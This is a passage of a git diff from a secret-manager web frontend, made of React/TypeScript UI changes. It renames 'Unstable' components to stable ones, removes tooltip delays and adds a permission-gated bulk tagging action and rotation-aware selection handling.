+                        </DropdownMenuItem>
                       </TooltipTrigger>
                       <TooltipContent side="left">
                         {!isAllowed
@@ -1535,11 +1556,10 @@ export const SecretEditTableRow = ({
                 </ProjectPermissionCan>
                 <Tooltip
                   open={isImportedSecret || isCreatable ? undefined : false}
-                  delayDuration={300}
                   disableHoverableContent
                 >
                   <TooltipTrigger className="block w-full">
-                    <UnstableDropdownMenuItem
+                    <DropdownMenuItem
                       onClick={() => {
                         if (!subscription?.secretAccessInsights) {
                           handlePopUpOpen("accessInsightsUpgrade");
@@ -1551,7 +1571,7 @@ export const SecretEditTableRow = ({
                     >
                       <UsersIcon />
                       View Access
-                    </UnstableDropdownMenuItem>
+                    </DropdownMenuItem>
                   </TooltipTrigger>
                   <TooltipContent side="left">
                     {isImportedSecret
@@ -1571,11 +1591,10 @@ export const SecretEditTableRow = ({
                   {(isAllowed) => (
                     <Tooltip
                       open={isRotatedSecret || isImportedSecret || isCreatable ? undefined : false}
-                      delayDuration={300}
                       disableHoverableContent
                     >
                       <TooltipTrigger className="block w-full">
-                        <UnstableDropdownMenuItem
+                        <DropdownMenuItem
                           onClick={toggleModal}
                           isDisabled={
                             isCreatable ||
@@ -1588,7 +1607,7 @@ export const SecretEditTableRow = ({
                         >
                           <TrashIcon />
                           Delete Secret
-                        </UnstableDropdownMenuItem>
+                        </DropdownMenuItem>
                       </TooltipTrigger>
                       <TooltipContent side="left">
                         {isRotatedSecret
@@ -1602,8 +1621,8 @@ export const SecretEditTableRow = ({
                     </Tooltip>
                   )}
                 </ProjectPermissionCan>
-              </UnstableDropdownMenuContent>
-            </UnstableDropdownMenu>
+              </DropdownMenuContent>
+            </DropdownMenu>
           )}
         </div>
       )}
@@ -1628,14 +1647,14 @@ export const SecretEditTableRow = ({
             <SheetTitle>Version History</SheetTitle>
             <SheetDescription>Audit secret history and rollback changes</SheetDescription>
           </SheetHeader>
-          <UnstableSeparator />
+          <Separator />
           <div className="bg-container p-4 text-foreground">
             <p className="truncate">{secretName}</p>
             <Badge variant="neutral" className="mt-0.5">
               {environmentName}
             </Badge>
           </div>
-          <UnstableSeparator />
+          <Separator />
           {secretId && (
             <SecretVersionHistory
               secretId={secretId}
@@ -1660,14 +1679,14 @@ export const SecretEditTableRow = ({
               View and manage user, group, and machine identity access to this secret
             </SheetDescription>
           </SheetHeader>
-          <UnstableSeparator />
+          <Separator />
           <div className="bg-container p-4 text-foreground">
             <p className="truncate">{secretName}</p>
             <Badge variant="neutral" className="mt-0.5">
               {environmentName}
             </Badge>
           </div>
-          <UnstableSeparator />
+          <Separator />
           {secretId && (
             <SecretAccessInsights
               secretKey={secretName}
@@ -1710,16 +1729,16 @@ export const SecretEditTableRow = ({
   if (isSingleEnvView) {
     return (
       <>
-        <UnstableTableCell
+        <TableCell
           className={twMerge("border-r pt-1 align-top", isOverride && "border-b-border/50")}
         >
           {nameInput}
-        </UnstableTableCell>
-        <UnstableTableCell
+        </TableCell>
+        <TableCell
           className={twMerge("relative w-full p-0 px-2", isOverride && "border-b-border/50")}
         >
           <div className="flex w-full flex-col gap-y-2 py-1.5">{valueContent}</div>
-        </UnstableTableCell>
+        </TableCell>
       </>
     );
   }
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretMetadataForm.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretMetadataForm.tsx
index 19e61c551cf..9b13fb11cd7 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretMetadataForm.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretMetadataForm.tsx
@@ -13,9 +13,9 @@ import {
   FieldContent,
   FieldError,
   FieldLabel,
-  Switch,
-  UnstableIconButton,
-  UnstableInput
+  IconButton,
+  Input,
+  Switch
 } from "@app/components/v3";
 import { useProject, useProjectPermission } from "@app/context";
 import {
@@ -176,7 +176,7 @@ export const SecretMetadataForm = ({
                   name={`metadata.${index}.key`}
                   render={({ field: inputField, fieldState: { error } }) => (
                     <>
-                      <UnstableInput
+                      <Input
                         {...inputField}
                         placeholder="Enter key"
                         className="h-8"
@@ -197,7 +197,7 @@ export const SecretMetadataForm = ({
                   name={`metadata.${index}.value`}
                   render={({ field: inputField, fieldState: { error } }) => (
                     <>
-                      <UnstableInput
+                      <Input
                         {...inputField}
                         placeholder="Enter value"
                         className="h-8"
@@ -228,7 +228,7 @@ export const SecretMetadataForm = ({
               />
             </Field>
 
-            <UnstableIconButton
+            <IconButton
               variant="ghost"
               size="xs"
               type="button"
@@ -240,7 +240,7 @@ export const SecretMetadataForm = ({
               isDisabled={!canEditSecret}
             >
               <TrashIcon className="size-4" />
-            </UnstableIconButton>
+            </IconButton>
           </div>
         ))}
       </div>
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretNoAccessTableRow.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretNoAccessTableRow.tsx
index e357456b20e..0ac98ae77cb 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretNoAccessTableRow.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretNoAccessTableRow.tsx
@@ -1,13 +1,7 @@
 import { LockIcon } from "lucide-react";
 
 import { Blur } from "@app/components/v2/Blur";
-import {
-  Tooltip,
-  TooltipContent,
-  TooltipTrigger,
-  UnstableTableCell,
-  UnstableTableRow
-} from "@app/components/v3";
+import { TableCell, TableRow, Tooltip, TooltipContent, TooltipTrigger } from "@app/components/v3";
 
 import { ResourceEnvironmentStatusCell } from "../ResourceEnvironmentStatusCell";
 
@@ -20,18 +14,18 @@ export const SecretNoAccessTableRow = ({ environments = [], count }: Props) => {
   return (
     <>
       {Array.from(Array(count)).map((_, j) => (
-        <UnstableTableRow key={`no-access-secret-overview-${j + 1}`} className="group">
-          <UnstableTableCell className="sticky left-0 z-10 bg-container transition-all duration-75 group-hover:bg-container-hover">
+        <TableRow key={`no-access-secret-overview-${j + 1}`} className="group">
+          <TableCell className="sticky left-0 z-10 bg-container transition-all duration-75 group-hover:bg-container-hover">
             <Tooltip>
               <TooltipTrigger asChild>
                 <LockIcon className="text-secret/50" />
               </TooltipTrigger>
               <TooltipContent>You do not have permission to view this secret</TooltipContent>
             </Tooltip>
-          </UnstableTableCell>
-          <UnstableTableCell className="sticky left-10 z-10 border-r bg-container transition-all duration-75 group-hover:bg-container-hover">
+          </TableCell>
+          <TableCell className="sticky left-10 z-10 border-r bg-container transition-all duration-75 group-hover:bg-container-hover">
             <Blur className="pl-0" />
-          </UnstableTableCell>
+          </TableCell>
           {environments.map(({ slug }, i) => {
             return (
               <ResourceEnvironmentStatusCell
@@ -40,7 +34,7 @@ export const SecretNoAccessTableRow = ({ environments = [], count }: Props) => {
               />
             );
           })}
-        </UnstableTableRow>
+        </TableRow>
       ))}
     </>
   );
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretOverrideRow.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretOverrideRow.tsx
index 984603574af..5b824db8b65 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretOverrideRow.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretOverrideRow.tsx
@@ -25,10 +25,10 @@ import {
   AlertDialogHeader,
   AlertDialogMedia,
   AlertDialogTitle,
+  IconButton,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableIconButton
+  TooltipTrigger
 } from "@app/components/v3";
 import { ProjectPermissionActions, ProjectPermissionSub, useProject } from "@app/context";
 import { useToggle } from "@app/hooks";
@@ -239,14 +239,14 @@ export const SecretOverrideRow = ({
               <div>
                 <Tooltip>
                   <TooltipTrigger>
-                    <UnstableIconButton
+                    <IconButton
                       size="xs"
                       variant="success"
                       isDisabled={isSubmitting || !isAllowed}
                       onClick={handleSubmit(handleFormSubmit)}
                     >
                       <SaveIcon />
-                    </UnstableIconButton>
+                    </IconButton>
                   </TooltipTrigger>
                   <TooltipContent>
                     {isCreatingOverride ? "Create Override" : "Save Override"}
@@ -258,14 +258,14 @@ export const SecretOverrideRow = ({
           <div>
             <Tooltip>
               <TooltipTrigger asChild>
-                <UnstableIconButton
+                <IconButton
                   variant="danger"
                   size="xs"
                   onClick={handleFormReset}
                   isDisabled={isSubmitting}
                 >
                   <Undo2Icon />
-                </UnstableIconButton>
+                </IconButton>
               </TooltipTrigger>
               <TooltipContent>
                 {isCreatingOverride ? "Remove Override" : "Undo Changes"}
@@ -305,9 +305,9 @@ export const SecretOverrideRow = ({
             isSingleEnvView ? "-top-[1.5px] -right-2.5" : "-top-[1.5px] -right-1.5"
           )}
         >
-          <Tooltip delayDuration={300} disableHoverableContent>
+          <Tooltip disableHoverableContent>
             <TooltipTrigger>
-              <UnstableIconButton
+              <IconButton
                 onClick={() => {
                   setFocus("value", { shouldSelect: true });
                 }}
@@ -319,14 +319,14 @@ export const SecretOverrideRow = ({
                 )}
               >
                 <EditIcon />
-              </UnstableIconButton>
+              </IconButton>
             </TooltipTrigger>
             <TooltipContent>Edit Override</TooltipContent>
           </Tooltip>
           {!isCreatingOverride && (
-            <Tooltip delayDuration={300} disableHoverableContent>
+            <Tooltip disableHoverableContent>
               <TooltipTrigger>
-                <UnstableIconButton
+                <IconButton
                   isDisabled={!canFetchOverrideValue}
                   onClick={handleCopyOverrideToClipboard}
                   variant="ghost"
@@ -337,7 +337,7 @@ export const SecretOverrideRow = ({
                   )}
                 >
                   <CopyIcon />
-                </UnstableIconButton>
+                </IconButton>
               </TooltipTrigger>
               <TooltipContent>Copy Override</TooltipContent>
             </Tooltip>
@@ -362,9 +362,9 @@ export const SecretOverrideRow = ({
               </AlertDialogFooter>
             </AlertDialogContent>
           </AlertDialog>
-          <Tooltip delayDuration={300} disableHoverableContent>
+          <Tooltip disableHoverableContent>
             <TooltipTrigger>
-              <UnstableIconButton
+              <IconButton
                 onClick={
                   isCreatingOverride
                     ? () => {
@@ -381,7 +381,7 @@ export const SecretOverrideRow = ({
                 )}
               >
                 <TrashIcon />
-              </UnstableIconButton>
+              </IconButton>
             </TooltipTrigger>
             <TooltipContent>
               {isCreatingOverride ? "Cancel Override" : "Remove Override"}
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretReminderForm.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretReminderForm.tsx
index f7a86625b45..e5ca69e6d7f 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretReminderForm.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretReminderForm.tsx
@@ -17,6 +17,7 @@ import {
   FieldError,
   FieldLabel,
   FilterableSelect,
+  Input,
   Popover,
   PopoverContent,
   PopoverTrigger,
@@ -25,8 +26,7 @@ import {
   SelectItem,
   SelectTrigger,
   SelectValue,
-  TextArea,
-  UnstableInput
+  TextArea
 } from "@app/components/v3";
 import { useProject, useProjectPermission } from "@app/context";
 import {
@@ -293,7 +293,7 @@ export const SecretReminderForm = ({
                 name="repeatDays"
                 render={({ field, fieldState: { error } }) => (
                   <>
-                    <UnstableInput
+                    <Input
                       type="number"
                       placeholder={DEFAULT_REPEAT_DAYS.toString()}
                       value={field.value || ""}
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretTableRow.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretTableRow.tsx
index 187c0fd61b1..528264a3dbf 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretTableRow.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretTableRow.tsx
@@ -10,7 +10,8 @@ import {
   GitBranchIcon,
   ImportIcon,
   KeyIcon,
-  RefreshCcwIcon
+  RefreshCcwIcon,
+  RefreshCwIcon
 } from "lucide-react";
 import { twMerge } from "tailwind-merge";
 
@@ -19,16 +20,16 @@ import { Modal, ModalContent } from "@app/components/v2";
 import {
   Button,
   Checkbox,
+  IconButton,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableIconButton,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3";
 import { useProject, useProjectPermission } from "@app/context";
 import {
@@ -216,18 +217,18 @@ export const SecretTableRow = ({
 
   return (
     <>
-      <UnstableTableRow
+      <TableRow
         onClick={isSingleEnvView ? undefined : () => setIsFormExpanded.toggle()}
         className={twMerge("group hover:z-10", pendingActionRowClass(singleEnvPendingAction))}
       >
-        <UnstableTableCell
+        <TableCell
           className={twMerge(
             !isSingleEnvView && "sticky left-0 z-10",
             !singleEnvPendingAction &&
               "bg-container transition-colors duration-75 group-hover:bg-container-hover",
             !isSingleEnvView && isFormExpanded && "border-b-0 bg-container-hover",
             isSingleEnvView && singleEnvShowOverride && "border-b-border/50",
-            isSingleEnvView && "pt-3 align-top",
+            isSingleEnvView && "relative pt-3 align-top",
             pendingActionBorderClass(singleEnvPendingAction)
           )}
         >
@@ -256,15 +257,26 @@ export const SecretTableRow = ({
               )}
             />
           ) : (
-            <KeyIcon
-              className={twMerge(
-                "block text-secret",
-                !isSelectionDisabled && "group-hover:!hidden",
-                isSelected && "!hidden"
+            <>
+              <KeyIcon
+                className={twMerge(
+                  "block text-secret",
+                  !isSelectionDisabled && "group-hover:!hidden",
+                  isSelected && "!hidden"
+                )}
+              />
+              {singleEnvSecret?.isRotatedSecret && isSingleEnvView && (
+                <RefreshCwIcon
+                  className={twMerge(
+                    "absolute right-2 bottom-2 !size-2.5 text-secret-rotation",
+                    !isSelectionDisabled && "group-hover:!hidden",
+                    isSelected && "!hidden"
+                  )}
+                />
               )}
-            />
+            </>
           )}
-        </UnstableTableCell>
+        </TableCell>
         {isSingleEnvView ? (
           <SecretEditTableRow
             isSingleEnvView
@@ -309,7 +321,7 @@ export const SecretTableRow = ({
             reminder={singleEnvSecret?.reminder}
           />
         ) : (
-          <UnstableTableCell
+          <TableCell
             isTruncatable
             className={twMerge(
               "sticky left-10 z-10 border-r bg-container transition-all duration-75 group-hover:bg-container-hover",
@@ -332,9 +344,9 @@ export const SecretTableRow = ({
                 "top-1/2 right-[3px] -translate-y-1/2"
               )}
             >
-              <Tooltip delayDuration={300} disableHoverableContent>
+              <Tooltip disableHoverableContent>
                 <TooltipTrigger>
-                  <UnstableIconButton
+                  <IconButton
                     variant="ghost"
                     size="xs"
                     onClick={(e) => {
@@ -345,13 +357,13 @@ export const SecretTableRow = ({
                     className="w-0 overflow-hidden border-0 transition-all duration-300 group-hover:w-7"
                   >
                     {isSecNameCopied ? <ClipboardCheckIcon /> : <CopyIcon />}
-                  </UnstableIconButton>
+                  </IconButton>
                 </TooltipTrigger>
                 <TooltipContent>Copy Secret Name</TooltipContent>
               </Tooltip>
-              <Tooltip delayDuration={300} disableHoverableContent>
+              <Tooltip disableHoverableContent>
                 <TooltipTrigger>
-                  <UnstableIconButton
+                  <IconButton
                     variant="ghost"
                     size="xs"
                     onClick={(e) => {
@@ -361,17 +373,16 @@ export const SecretTableRow = ({
                     className="w-0 overflow-hidden border-0 transition-all duration-300 group-hover:w-7"
                   >
                     <EditIcon />
-                  </UnstableIconButton>
+                  </IconButton>
                 </TooltipTrigger>
                 <TooltipContent>Edit Secret Name</TooltipContent>
               </Tooltip>
             </div>
-          </UnstableTableCell>
+          </TableCell>
         )}
         {environments.length > 1 &&
           environments.map(({ slug }, i) => {
-            if (isFormExpanded)
-              return <UnstableTableCell className="border-b-0 bg-container-hover" />;
+            if (isFormExpanded) return <TableCell className="border-b-0 bg-container-hover" />;
 
             const secret = getSecretByKey(slug, secretKey);
 
@@ -400,14 +411,14 @@ export const SecretTableRow = ({
               />
             );
           })}
-      </UnstableTableRow>
+      </TableRow>
       {isSingleEnvView && singleEnvShowOverride && (
-        <UnstableTableRow className="group bg-gradient-to-r from-override/[0.03] from-[1%] via-override/[0.075] to-override/[0.03] to-[99%]">
-          <UnstableTableCell>
+        <TableRow className="group bg-gradient-to-r from-override/[0.03] from-[1%] via-override/[0.075] to-override/[0.03] to-[99%]">
+          <TableCell>
             <GitBranchIcon className="text-override" />
-          </UnstableTableCell>
-          <UnstableTableCell className="border-r text-override">{secretKey}</UnstableTableCell>
-          <UnstableTableCell>
+          </TableCell>
+          <TableCell className="border-r text-override">{secretKey}</TableCell>
+          <TableCell>
             <SecretOverrideRow
               isSingleEnvView
               secretName={secretKey}
@@ -433,8 +444,8 @@ export const SecretTableRow = ({
               onSecretUpdate={onSecretUpdate}
               onSecretDelete={onSecretDelete}
             />
-          </UnstableTableCell>
-        </UnstableTableRow>
+          </TableCell>
+        </TableRow>
       )}
       {!isSingleEnvView && (
         <Modal
@@ -452,17 +463,17 @@ export const SecretTableRow = ({
         </Modal>
       )}
       {!isSingleEnvView && isFormExpanded && (
-        <UnstableTableRow>
-          <UnstableTableCell colSpan={totalCols} className={`${isFormExpanded && "bg-card p-0"}`}>
+        <TableRow>
+          <TableCell colSpan={totalCols} className={`${isFormExpanded && "bg-card p-0"}`}>
             <div
               style={{ minWidth: tableWidth, maxWidth: tableWidth }}
               className="sticky left-0 flex flex-col gap-y-4 border-t-2 border-b-1 border-l-1 border-border border-x-project/50 bg-card p-4"
             >
-              <UnstableTable containerClassName="border-none rounded-none bg-transparent">
-                <UnstableTableHeader className="">
-                  <UnstableTableRow className="border-none">
-                    <UnstableTableHead>Environment</UnstableTableHead>
-                    <UnstableTableHead className="w-full">Value</UnstableTableHead>
+              <Table containerClassName="border-none rounded-none bg-transparent">
+                <TableHeader className="">
+                  <TableRow className="border-none">
+                    <TableHead>Environment</TableHead>
+                    <TableHead className="w-full">Value</TableHead>
                     <div className="absolute top-0 right-0">
                       <Button variant="ghost" size="xs" onClick={() => setIsSecretVisible.toggle()}>
                         {isSecretVisible ? (
@@ -479,9 +490,9 @@ export const SecretTableRow = ({
                         Values
                       </Button>
                     </div>
-                  </UnstableTableRow>
-                </UnstableTableHeader>
-                <UnstableTableBody>
+                  </TableRow>
+                </TableHeader>
+                <TableBody>
                   {environments.map(({ name, slug }) => {
                     const secret = getSecretByKey(slug, secretKey);
                     const isCreatable = !secret;
@@ -495,10 +506,8 @@ export const SecretTableRow = ({
 
                     return (
                       <Fragment key={`secret-expanded-${slug}-${secretKey}`}>
-                        <UnstableTableRow className="group hover:z-10">
-                          <UnstableTableCell
-                            className={hasOverride ? "border-b-border/50" : undefined}
-                          >
+                        <TableRow className="group hover:z-10">
+                          <TableCell className={hasOverride ? "border-b-border/50" : undefined}>
                             <div title={name} className="flex h-8 w-32 items-center space-x-2">
                               <span className="truncate">{name}</span>
                               {isImportedSecret && (
@@ -521,8 +530,8 @@ export const SecretTableRow = ({
                                 </Tooltip>
                               )}
                             </div>
-                          </UnstableTableCell>
-                          <UnstableTableCell
+                          </TableCell>
+                          <TableCell
                             className={twMerge("col-span-2", hasOverride && "border-b-border/50")}
                           >
                             <SecretEditTableRow
@@ -554,15 +563,15 @@ export const SecretTableRow = ({
                               skipMultilineEncoding={secret?.skipMultilineEncoding}
                               reminder={secret?.reminder}
                             />
-                          </UnstableTableCell>
-                        </UnstableTableRow>
+                          </TableCell>
+                        </TableRow>
                         {showOverrideRow && (
-                          <UnstableTableRow
+                          <TableRow
                             className="group bg-gradient-to-r from-override/[0.03] from-[1%] via-override/[0.075] to-override/[0.03] to-[99%]"
                             key={`secret-override-${slug}-${secretKey}`}
                           >
-                            <UnstableTableCell />
-                            <UnstableTableCell>
+                            <TableCell />
+                            <TableCell>
                               <SecretOverrideRow
                                 secretName={secretKey}
                                 environment={slug}
@@ -587,17 +596,17 @@ export const SecretTableRow = ({
                                 onSecretUpdate={onSecretUpdate}
                                 onSecretDelete={onSecretDelete}
                               />
-                            </UnstableTableCell>
-                          </UnstableTableRow>
+                            </TableCell>
+                          </TableRow>
                         )}
                       </Fragment>
                     );
                   })}
-                </UnstableTableBody>
-              </UnstableTable>
+                </TableBody>
+              </Table>
             </div>
-          </UnstableTableCell>
-        </UnstableTableRow>
+          </TableCell>
+        </TableRow>
       )}
     </>
   );
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretVersionHistory.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretVersionHistory.tsx
index c55a561efb6..a62b454ce13 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretVersionHistory.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SecretTableRow/SecretVersionHistory.tsx
@@ -29,16 +29,16 @@ import {
   AlertDialogMedia,
   AlertDialogTitle,
   Badge,
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
   EmptyMedia,
+  EmptyTitle,
+  IconButton,
   Skeleton,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableEmpty,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton
+  TooltipTrigger
 } from "@app/components/v3";
 import { ProjectPermissionActions, ProjectPermissionSub, useProject } from "@app/context";
 import { useGetSecretVersion, useRedactSecretValue, useUpdateSecretV3 } from "@app/hooks/api";
@@ -322,27 +322,27 @@ function VersionItem({
                 <>
                   <Tooltip>
                     <TooltipTrigger asChild>
-                      <UnstableIconButton
+                      <IconButton
                         variant="ghost"
                         size="xs"
                         onClick={handleCopyValue}
                         isDisabled={isFetchingValue}
                       >
                         <CopyIcon />
-                      </UnstableIconButton>
+                      </IconButton>
                     </TooltipTrigger>
                     <TooltipContent>Copy Value</TooltipContent>
                   </Tooltip>
                   <Tooltip>
                     <TooltipTrigger asChild>
-                      <UnstableIconButton
+                      <IconButton
                         variant="ghost"
                         size="xs"
                         onClick={handleToggleVisibility}
                         isDisabled={isFetchingValue}
                       >
                         {isValueVisible ? <EyeOffIcon /> : <EyeIcon />}
-                      </UnstableIconButton>
+                      </IconButton>
                     </TooltipTrigger>
                     <TooltipContent>{isValueVisible ? "Hide Value" : "Show Value"}</TooltipContent>
                   </Tooltip>
@@ -361,14 +361,14 @@ function VersionItem({
                   {(isAllowed) => (
                     <Tooltip>
                       <TooltipTrigger>
-                        <UnstableIconButton
+                        <IconButton
                           variant="ghost"
                           size="xs"
                           onClick={() => setIsRestoreDialogOpen(true)}
                           isDisabled={isRestoring || isFetchingValue || !isAllowed}
                         >
                           <RotateCcwIcon />
-                        </UnstableIconButton>
+                        </IconButton>
                       </TooltipTrigger>
                       <TooltipContent>
                         {isAllowed ? "Restore Version" : "Access Denied"}
@@ -390,7 +390,7 @@ function VersionItem({
                   {(isAllowed) => (
                     <Tooltip>
                       <TooltipTrigger>
-                        <UnstableIconButton
+                        <IconButton
                           variant="ghost"
                           size="xs"
                           className="hover:text-danger"
@@ -398,7 +398,7 @@ function VersionItem({
                           isDisabled={isRedacting || !isAllowed}
                         >
                           <Trash2Icon />
-                        </UnstableIconButton>
+                        </IconButton>
                       </TooltipTrigger>
                       <TooltipContent>
                         {isAllowed ? "Redact Secret Value" : "Access Denied"}
@@ -556,17 +556,17 @@ export function SecretVersionHistory({
   // should never happen as we disable
   if (!secretVersions || secretVersions.length === 0) {
     return (
-      <UnstableEmpty className="bg-transparent">
-        <UnstableEmptyHeader>
+      <Empty className="bg-transparent">
+        <EmptyHeader>
           <EmptyMedia variant="icon">
             <BanIcon />
           </EmptyMedia>
-          <UnstableEmptyTitle>Access Denied</UnstableEmptyTitle>
-          <UnstableEmptyDescription>
+          <EmptyTitle>Access Denied</EmptyTitle>
+          <EmptyDescription>
             You do not have permission to view this secrets history
-          </UnstableEmptyDescription>
-        </UnstableEmptyHeader>
-      </UnstableEmpty>
+          </EmptyDescription>
+        </EmptyHeader>
+      </Empty>
     );
   }
 
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SelectionPanel/SelectionPanel.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SelectionPanel/SelectionPanel.tsx
index 833b47b4c3d..b2dd1b09130 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SelectionPanel/SelectionPanel.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SelectionPanel/SelectionPanel.tsx
@@ -1,6 +1,6 @@
 import { useMemo } from "react";
 import { subject } from "@casl/ability";
-import { FolderInputIcon, TrashIcon } from "lucide-react";
+import { FolderInputIcon, TagsIcon, TrashIcon } from "lucide-react";
 import { twMerge } from "tailwind-merge";
 
 import { createNotification } from "@app/components/notifications";
@@ -18,6 +18,7 @@ import { useDeleteSecretBatch } from "@app/hooks/api";
 import { ProjectSecretsImportedBy, UsedBySecretSyncs } from "@app/hooks/api/dashboard/types";
 import { ProjectEnv } from "@app/hooks/api/projects/types";
 import { PendingAction } from "@app/hooks/api/secretFolders/types";
+import { TSecretRotationV2 } from "@app/hooks/api/secretRotationsV2";
 import { useCreateCommit } from "@app/hooks/api/secrets/mutations";
 import {
   SecretType,
@@ -27,12 +28,14 @@ import {
 } from "@app/hooks/api/types";
 import {
   BulkDeleteDialog,
+  BulkTagDialog,
   MoveSecretsModal
 } from "@app/pages/secret-manager/OverviewPage/components/SelectionPanel/components";
 
 export enum EntryType {
   FOLDER = "folder",
-  SECRET = "secret"
+  SECRET = "secret",
+  SECRET_ROTATION = "secretRotation"
 }
 
 type Props = {
@@ -41,6 +44,7 @@ type Props = {
   selectedEntries: {
     [EntryType.FOLDER]: Record<string, Record<string, TSecretFolder>>;
     [EntryType.SECRET]: Record<string, Record<string, SecretV3RawSanitized>>;
+    [EntryType.SECRET_ROTATION]: Record<string, Record<string, TSecretRotationV2>>;
   };
   importedBy?: ProjectSecretsImportedBy[] | null;
   usedBySecretSyncs?: UsedBySecretSyncs[];
@@ -62,15 +66,17 @@ export const SelectionPanel = ({
 
   const { handlePopUpOpen, handlePopUpToggle, handlePopUpClose, popUp } = usePopUp([
     "bulkDeleteEntries",
-    "bulkMoveSecrets"
+    "bulkMoveSecrets",
+    "bulkTagSecrets"
   ] as const);
 
   const selectedFolderCount = Object.keys(selectedEntries.folder).length;
   const selectedKeysCount = Object.keys(selectedEntries.secret).length;
+  const selectedRotationCount = Object.keys(selectedEntries.secretRotation).length;
   const isRotatedSecretSelected = Object.values(selectedEntries.secret).some((record) =>
     Object.values(record).some((secret) => secret.isRotatedSecret)
   );
-  const selectedCount = selectedFolderCount + selectedKeysCount;
+  const selectedCount = selectedFolderCount + selectedKeysCount + selectedRotationCount;
 
   const { currentProject, projectId } = useProject();
   const userAvailableEnvs = currentProject?.environments || [];
@@ -92,6 +98,20 @@ export const SelectionPanel = ({
     )
   );
 
+  const canEditSecretsInAnyEnv = userAvailableEnvs.some((env) =>
+    permission.can(
+      ProjectPermissionSecretActions.Edit,
+      subject(ProjectPermissionSub.Secrets, {
+        environment: env.slug,
+        secretPath,
+        secretName: "*",
+        secretTags: ["*"]
+      })
+    )
+  );
+  const canReadTags = permission.can(ProjectPermissionActions.Read, ProjectPermissionSub.Tags);
+  const isTagActionDisabled = !canEditSecretsInAnyEnv || !canReadTags;
+
   const usedBySecretSyncsFiltered = useMemo(() => {
     if (selectedKeysCount === 0 || usedBySecretSyncs.length === 0) return null;
     const envs = Object.values(selectedEntries.secret).flatMap((entries) => Object.keys(entries));
@@ -269,6 +289,20 @@ export const SelectionPanel = ({
   };
 
   const areFoldersSelected = Boolean(Object.keys(selectedEntries[EntryType.FOLDER]).length);
+  const areRotationsSelected = selectedRotationCount > 0;
+
+  const isMoveDisabled = areFoldersSelected || isRotatedSecretSelected;
+  let moveDisabledReason = "Moving folders is not supported";
+  if (!areFoldersSelected && isRotatedSecretSelected) {
+    moveDisabledReason = "Moving rotated secrets is not supported";
+  }
+
+  const isDeleteDisabled = areRotationsSelected || isRotatedSecretSelected;
+  let deleteDisabledReason = "Rotated secrets cannot be deleted via multi-select";
+  if (areRotationsSelected) {
+    deleteDisabledReason =
+      "Rotations cannot be deleted from this view. Use the delete action on the rotation row instead.";
+  }
 
   return (
     <>
@@ -287,17 +321,29 @@ export const SelectionPanel = ({
           >
             Unselect All
           </button>
-          {isRotatedSecretSelected && (
-            <span className="text-xs text-accent">
-              Rotated Secrets will not be affected by action.
-            </span>
+          {selectedKeysCount > 0 && (
+            <Tooltip open={isTagActionDisabled ? undefined : false}>
+              <TooltipTrigger>
+                <Button
+                  isDisabled={isTagActionDisabled}
+                  variant="project"
+                  className="ml-2"
+                  onClick={() => handlePopUpOpen("bulkTagSecrets")}
+                  size="xs"
+                >
+                  <TagsIcon />
+                  Add Tags
+                </Button>
+              </TooltipTrigger>
+              <TooltipContent>Access denied</TooltipContent>
+            </Tooltip>
           )}
           {shouldShowDelete && (
             <>
-              <Tooltip open={areFoldersSelected ? undefined : false}>
+              <Tooltip open={isMoveDisabled ? undefined : false}>
                 <TooltipTrigger>
                   <Button
-                    isDisabled={areFoldersSelected}
+                    isDisabled={isMoveDisabled}
                     variant="project"
                     className="ml-2"
                     onClick={() => handlePopUpOpen("bulkMoveSecrets")}
@@ -307,17 +353,23 @@ export const SelectionPanel = ({
                     Move
                   </Button>
                 </TooltipTrigger>
-                <TooltipContent>Moving folders is not supported</TooltipContent>
+                <TooltipContent>{moveDisabledReason}</TooltipContent>
+              </Tooltip>
+              <Tooltip open={isDeleteDisabled ? undefined : false}>
+                <TooltipTrigger>
+                  <Button
+                    isDisabled={isDeleteDisabled}
+                    variant="danger"
+                    className="ml-2"
